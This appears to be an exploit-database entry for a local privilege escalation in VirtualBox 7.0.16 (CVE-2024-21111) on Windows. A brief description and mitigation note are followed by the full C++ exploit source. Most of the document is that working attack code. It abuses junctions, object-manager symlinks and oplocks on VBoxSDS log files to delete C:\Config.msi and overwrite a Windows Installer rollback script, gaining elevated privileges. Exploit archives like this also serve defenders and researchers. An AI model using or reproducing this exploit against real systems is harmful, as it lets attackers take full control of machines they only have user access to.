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Suggest Exploit
vendor:
VirtualBox
by:
Milad Karimi (Ex3ptionaL)
6.1
CVSS
HIGH
Privilege Escalation
269
CWE
Product Name: VirtualBox
Affected Version From: 7.0.16
Affected Version To: 7.0.16
Patch Exists: NO
Related CWE: CVE-2024-21111
CPE: a:oracle:virtualbox:7.0.16
Metasploit:
Other Scripts:
Platforms Tested: Windows x64
2025

VirtualBox 7.0.16 – Privilege Escalation

The exploit leverages a privilege escalation vulnerability in VirtualBox version 7.0.16. By exploiting this vulnerability, an attacker could elevate their privileges on the target system. The vulnerability is identified as CVE-2024-21111.

Mitigation:

To mitigate this privilege escalation vulnerability, it is recommended to update VirtualBox to the latest version and apply security patches provided by the vendor. Additionally, limit user privileges to minimize the impact of such exploits.
Source

Exploit-DB raw data:

# Exploit Title: VirtualBox 7.0.16 - Privilege Escalation
# Date: 2025-05-06
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win x64
# CVE : CVE-2024-21111


#include <Windows.h>
#include <Shlwapi.h>
#include <WtsApi32.h>
#include <Msi.h>
#include <PathCch.h>
#include <AclAPI.h>
#include <iostream>
#include "resource.h"
#include "def.h"
#include "FileOplock.h"
#pragma comment(lib, "Msi.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "wtsapi32")
#pragma comment(lib, "PathCch.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma warning(disable:4996)
struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5"))
CLSID_VBoxSDS;
FileOpLock* oplock;
HANDLE hFile, vb11, h;
HANDLE hthread;
NTSTATUS retcode;
HMODULE hm = GetModuleHandle(NULL);
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs");
DWORD RbsSize = SizeofResource(hm, res);
void* RbsBuff = LoadResource(hm, res);
WCHAR dir[MAX_PATH] = { 0x0 };
wchar_t filen[MAX_PATH] = { 0x0 };
DWORD WINAPI install(void*);
BOOL Move(HANDLE hFile);
void callback();
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
dispostion);
LPWSTR BuildPath(LPCWSTR path);
void loadapis();
VOID cb1();
VOID cb0();
BOOL Monitor(HANDLE hDir);
BOOL clearDataDir();
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
 HANDLE hJunction;
 DWORD cb;
 wchar_t printname[] = L"";
 HANDLE hDir;
 hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
 if (hDir == INVALID_HANDLE_VALUE) {
  printf("[!] Failed to obtain handle on directory %ls.\n", dir);
  return FALSE;
 }
 SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
 SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
 SIZE_T PathLen = TargetLen + PrintnameLen + 12;
 SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER,
GenericReparseBuffer.DataBuffer));
 PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
 Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
 Data->ReparseDataLength = PathLen;
 Data->Reserved = 0;
 Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
 Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
 memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
 Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
 Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
 memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1,
printname, PrintnameLen + 2);
 if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL,
0, &cb, NULL) != 0)
 {
  printf("[+] Junction %ls -> %ls created!\n", dir, target);
  free(Data);
  return TRUE;
 }
 else
 {
  printf("[!] Error: %d. Exiting\n", GetLastError());
  free(Data);
  return FALSE;
 }
}
BOOL DeleteJunction(LPCWSTR path) {
 REPARSE_GUID_DATA_BUFFER buffer = { 0 };
 BOOL ret;
 buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
 DWORD cb = 0;
 IO_STATUS_BLOCK io;
 HANDLE hDir;
 hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);
 if (hDir == INVALID_HANDLE_VALUE) {
  printf("[!] Failed to obtain handle on directory %ls.\n", path);
  printf("%d\n", GetLastError());
  return FALSE;
 }
 ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer,
REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL);
 if (ret == 0) {
  printf("Error: %d\n", GetLastError());
  return FALSE;
 }
 else
 {
  printf("[+] Junction %ls delete!\n", dir);
  return TRUE;
 }
}
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
 if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object,
target)) {
  printf("[+] Symlink %ls -> %ls created!\n", object, target);
  return TRUE;
 }
 else
 {
  printf("error :%d\n", GetLastError());
  return FALSE;
 }
}
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
 if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH |
DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
  printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
  return TRUE;
 }
 else
 {
  printf("error :%d\n", GetLastError());
  return FALSE;
 }
}
void runSDS(int delay) {
 if (delay == 1) {
  printf("[!] sleeping for 2 sec\n");
  Sleep(2000);
 }
 CoInitialize(NULL);
 LPVOID ppv;
 // 1st trigger to create VBoxSDS.log dir
 CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER,
IID_IUnknown, &ppv);
 CoUninitialize();
}
BOOL checkSDSLog() {
 BOOL clear = FALSE;
 std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*";
 HANDLE hFind;
 WIN32_FIND_DATA data;
 hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data);
 // iterate first VBoxSDS.log
 FindNextFile(hFind, &data);
 if (hFind != INVALID_HANDLE_VALUE) {
  do {
   if (wcswcs(data.cFileName, L"VBoxSDS.log.")) {
    runSDS(0);
    //wprintf(L"%s\n", data.cFileName);
   }
   else {
    printf("[+] Logs have been cleared!\n");
    clear = TRUE;
   }
   //wprintf(L"%s\n", data.cFileName);
  } while (FindNextFile(hFind, &data));
  FindClose(hFind);
 }
 //printf("CLEAR: %d\n", clear);
 return clear;
}
BOOL enumProc(const wchar_t* procName) {
 PWTS_PROCESS_INFO processes{};
 BOOL ok = FALSE;
 DWORD count;
 if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes,
&count)) {
  for (DWORD i = 0; i < count; i++) {
   if (wcswcs(processes[i].pProcessName, procName)) {
    wprintf(L"[!] Process active: %s with PID %d\n",
processes[i].pProcessName, processes[i].ProcessId);
    ok = TRUE;
    break;
   }
  }
 }
 else {
  printf("err: %d\n", GetLastError());
 }
 WTSFreeMemory(processes);
 return ok;
}
void checkIfExists() {
 if (enumProc(L"VirtualBoxVM.exe")) {
  printf("[!] You seem to have active VMs running, please stop them before
running this to prevent corruption of any saved data of the VMs.\n");
  exit(1);
 }
 if (enumProc(L"VirtualBox.exe")) {
  printf("[!] VirtualBox process active\n");
  // message
  printf("[!] Trying to exit virtualbox by postmessage close window\n");
  PostMessage(FindWindow(NULL, TEXT("Oracle VM VirtualBox Manager")),
WM_CLOSE, NULL, NULL);
  printf("[!] Letting VBoxSDS exit (wait 12 seconds)\n\n");
  Sleep(12000);
  if (enumProc(L"VBoxSDS.exe")) {
   printf("[-] error stopping vboxsds\n");
   exit(1);
  }
  else {
   printf("[+] Success stopping vboxsds!\n");
  }
 }
}
BOOL clearDataDir() {
 do {
  vb11 = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_FLAG_OVERLAPPED, NULL);
  printf("h: %x %d\n", vb11, GetLastError());
 } while (vb11 == INVALID_HANDLE_VALUE);
 oplock = FileOpLock::CreateLock(vb11, cb1);
 if (oplock != NULL) {
  HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0,
NULL);
  oplock->WaitForLock(INFINITE);
  CloseHandle(c);
 }
 BOOL isEmpty = FALSE;
 do {
  isEmpty = checkSDSLog();
 } while (isEmpty == FALSE);
 if (!RemoveDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log")) {
  printf("error removing vboxlog dir\n");
  exit(1);
 }
 return isEmpty;
}
int wmain() {
 loadapis();
 checkIfExists();
 clearDataDir();
 hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
 if (hFile == INVALID_HANDLE_VALUE)
 {
  printf("[!] Failed to create C:\\Config.msi directory. Trying to delete
it.\n");
  install(NULL);
  hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
  if (hFile != INVALID_HANDLE_VALUE)
  {
   printf("[+] Successfully removed and recreated C:\\Config.Msi.\n");
  }
  else
  {
   printf("[!] Failed. Cannot remove c:\\Config.msi");
   //return 1;
  }
 }
 if (!PathIsDirectoryEmpty(L"C:\\Config.Msi"))
 {
  printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n");
  //return 1;
 }
 printf("[+] Config.msi directory created!\n");
 HANDLE hDir =
getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
 printf("hDir: %x\n", hDir);
 //Monitor(hDir);
 HANDLE zxc{};
 zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0,
NULL);
 SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
 SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain
express control of our priority
 SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
 oplock = FileOpLock::CreateLock(hFile, callback);
 if (oplock != nullptr) {
  oplock->WaitForLock(INFINITE);
  delete oplock;
 }
 do {
  hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ |
WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE |
FILE_SHARE_DELETE, FILE_OPEN_IF);
 } while (!hFile);
 char buff[4096];
 DWORD retbt = 0;
 FILE_NOTIFY_INFORMATION* fn;
 WCHAR* extension;
 WCHAR* extension2;
 do {
  ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME,
   &retbt, NULL, NULL);
  fn = (FILE_NOTIFY_INFORMATION*)buff;
  size_t sz = fn->FileNameLength / sizeof(WCHAR);
  fn->FileName[sz] = '\0';
  extension = fn->FileName;
  PathCchFindExtension(extension, MAX_PATH, &extension2);
 } while (wcscmp(extension2, L".rbs") != 0);
 SetSecurityInfo(hFile, SE_FILE_OBJECT,
UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL,
NULL, NULL, NULL);
 while (!Move(hFile)) {
 }
 HANDLE cfg_h = getDirectoryHandle(BuildPath(L"C:\\Config.msi"),
FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_CREATE);
 WCHAR rbsfile[MAX_PATH];
 _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName);
 HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
 if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
  printf("[+] Rollback script overwritten!\n");
 }
 else
 {
  printf("[!] Failed to overwrite rbs file!\n");
 }
 CloseHandle(rbs);
 CloseHandle(cfg_h);
 DeleteJunction(dir);
 CloseHandle(zxc);
 WCHAR asdfasdf[MAX_PATH];
 _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen);
 DelDosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION");
 return 0;
}
DWORD WINAPI install(void*) {
 HMODULE hm = GetModuleHandle(NULL);
 HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi");
 wchar_t msipackage[MAX_PATH] = { 0x0 };
 GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
 printf("[*] MSI file: %ls\n", msipackage);
 DWORD MsiSize = SizeofResource(hm, res);
 void* MsiBuff = LoadResource(hm, res);
 HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
 CloseHandle(pkg);
 MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
 UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL");
 printf("%d\n", a);
 MsiInstallProduct(msipackage, L"REMOVE=ALL");
 DeleteFile(msipackage);
 return 0;
}
BOOL Move(HANDLE hFile) {
 if (hFile == INVALID_HANDLE_VALUE) {
  printf("[!] Invalid handle!\n");
  return FALSE;
 }
 wchar_t tmpfile[MAX_PATH] = { 0x0 };
 RPC_WSTR str_uuid;
 UUID uuid = { 0 };
 UuidCreate(&uuid);
 UuidToString(&uuid, &str_uuid);
 _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid);
 size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) *
sizeof(wchar_t));
 FILE_RENAME_INFO* rename_info =
(FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY |
HEAP_GENERATE_EXCEPTIONS, buffer_sz);
 IO_STATUS_BLOCK io = { 0 };
 rename_info->ReplaceIfExists = TRUE;
 rename_info->RootDirectory = NULL;
 rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
 rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
 memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) *
sizeof(wchar_t));
 NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info,
buffer_sz, 65);
 if (status != 0) {
  return FALSE;
 }
 return TRUE;
}
void callback() {
 SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);
 Move(hFile);
 hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL);
 HANDLE hd;
 do {
  hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
 } while (!hd);
 do {
  CloseHandle(hd);
  hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
 } while (hd);
 CloseHandle(hd);
 do {
  hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
  CloseHandle(hd);
 } while (retcode != 0xC0000022);
}
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
dispostion) {
 UNICODE_STRING ufile;
 HANDLE hDir;
 pRtlInitUnicodeString(&ufile, file);
 OBJECT_ATTRIBUTES oa = { 0 };
 IO_STATUS_BLOCK io = { 0 };
 InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);
 retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL,
FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE |
FILE_OPEN_REPARSE_POINT, NULL, NULL);
 if (!NT_SUCCESS(retcode)) {
  return NULL;
 }
 return hDir;
}
LPWSTR BuildPath(LPCWSTR path) {
 wchar_t ntpath[MAX_PATH];
 swprintf(ntpath, L"\\??\\%s", path);
 return ntpath;
}
void loadapis() {
 HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
 if (ntdll != NULL) {
  pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll,
"RtlInitUnicodeString");
  pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
  pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll,
"NtSetInformationFile");
 }
 if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) {
  printf("Cannot load api's %d\n", GetLastError());
  exit(0);
 }
}
void cb0() {
 if (!Move(h)) {
  printf("reached3\n");
  exit(1);
 }
 printf("reached2\n");
 _swprintf(dir, L"C:\\ProgramData\\VirtualBox");
 if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) {
  printf("[!] Exiting!\n");
  exit(1);
 }
 WCHAR asdfasdf[MAX_PATH];
 _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen);
 if (!DosDeviceSymLink(asdfasdf,
L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) {
  printf("zxc\n");
  //printf("[!] Exiting!\n");
  //exit(1);
 }
}
void cb1() {
 printf("[!] oplock triggered\n");
 if (!Move(vb11)) {
  printf("reached3\n");
  exit(1);
 }
 if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) {
  printf("Error creating dir. Exiting\n");
  exit(1);
 }
 return;
}
BOOL Monitor(HANDLE hDir) {
 printf("[!] Monitor called\n");
 BOOL deleted = FALSE;
 _swprintf(filen, L"VBoxSDS.log.11");
 do {
  do {
   h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_FLAG_OVERLAPPED, NULL);
   printf("h: %x\n", h);
  } while (h == INVALID_HANDLE_VALUE);
  oplock = FileOpLock::CreateLock(h, cb0);
  if (oplock != NULL) {
   HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS,
(LPVOID)1, 0, NULL);
   oplock->WaitForLock(INFINITE);
   CloseHandle(c);
  }
  deleted = TRUE;
 } while (deleted == FALSE);
 return deleted;
}